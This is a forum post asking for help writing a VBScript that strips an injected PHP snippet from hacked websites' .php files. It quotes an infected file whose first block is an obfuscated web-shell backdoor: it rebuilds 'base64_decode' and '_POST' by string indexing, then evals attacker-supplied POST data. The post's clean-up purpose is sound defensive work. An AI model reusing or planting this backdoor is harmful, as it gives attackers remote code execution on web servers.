Lunastone
-
Posts
2 -
Joined
-
Last visited
Content Type
Profiles
Forums
Events
Posts posted by Lunastone
-
-
I'm trying to automate the clean-up of hacked websites but unfortunately I have great ideas but not enough knowledge to create the solution that i have written down.I want to create a script which will search the following code <?php*.*PCT4BA6ODSE*.*?> within all .php files of a folder including sub folders. In this code the symbol *.* can be really anything for example;File:<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['nce63e1'])) {eval($s21(${$s20}['nce63e1']));}?><?php/*** @author Tarchini Maurizio* @copyright 2011*/$wp_load = dirname(dirname(__FILE__));for($i=0; $i<10; $i++){if(file_exists($wp_load . '/wp-load.php')){require_once "$wp_load/wp-load.php";break;}else{$wp_load = dirname($wp_load);}}?>Result after running the script:<?php/*** @author Tarchini Maurizio* @copyright 2011*/$wp_load = dirname(dirname(__FILE__));for($i=0; $i<10; $i++){if(file_exists($wp_load . '/wp-load.php')){require_once "$wp_load/wp-load.php";break;}else{$wp_load = dirname($wp_load);}}?>
Need help creating a VBSscript.
in VBScript
Posted · Edited by Lunastone